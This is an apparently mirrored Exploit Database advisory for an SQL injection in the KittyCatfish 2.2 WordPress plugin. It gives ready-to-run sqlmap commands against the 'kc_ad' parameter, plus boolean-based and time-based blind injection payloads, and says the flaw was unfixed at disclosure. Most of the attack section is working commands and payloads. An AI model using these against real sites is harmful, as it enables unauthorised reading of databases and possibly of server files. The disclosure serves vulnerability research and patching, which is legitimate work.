WordPress Plugin KittyCatfish 2.2 – SQL Injection

• Exploit Database
• 15 阅读

• 作者： TAD GROUP
  日期： 2017-04-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41919/

• # Exploit Title: KittyCatfish 2.2 Plugin for WordPress - SQL Injection
  # Date: 20/03/2017
  # Exploit Author: TAD GROUP
  # Vendor Homepage: https://wordpress.org/plugins-wp/kittycatfish/
  # Software Link: https://wordpress.org/plugins-wp/kittycatfish/
  # Version: 2.2
  # Contact: info[at]tad.group
  # Website: https://tad.group
  # Category: Web Application Exploits
  
  
  1. Description 
  
  An unescaped parameter was found in KittyCatfish version 2.2 (WP plugin). An attacker can exploit this vulnerability to read from the database.
  
  The get oarameter 'kc_ad' is vulnerable.
  
   
  2. Proof of concept
  
  sqlmap -u "http://192.168.20.39/wp-content/plugins/kittycatfish/base.css.php?kc_ad=31&ver=2.0""—dbms —threads=10 —random-agent
  
  OR
  
  sqlmap -u "http://192.168.20.39/wp-content/plugins/kittycatfish/kittycatfish.php?kc_ad=37&ver=2.0" —dbms —threads=10 —random-agent —dbms=mysql —level 5 —risk=3
  
  Parameter: kc_ad (GET)
  
  Type: boolean-based blind
  
  Title: AND boolean-based blind - WHERE or HAVING clause
  
  Payload: kc_ad=31 AND 2281=2281&ver=2.0
  
   
  
  Type: AND/OR time-based blind
  
  Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
  
  Payload: kc_ad=31 AND (SELECT * FROM (SELECT(SLEEP(5)))xzZh)&ver=2.0
  
   
  
  3. Attack outcome:
  
  An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.
  
  4. Impact
  
  Critical
  
  5. Affected versions
  
  <= 2.2
  
  6. Disclosure timeline
  
  06-Mar-2017 - found the vulnerability
  06-Mar-2017 - informed the developer
  20-Mar-2017 - release date of this security advisory
  
  Not fixed at the date of submitting this exploit.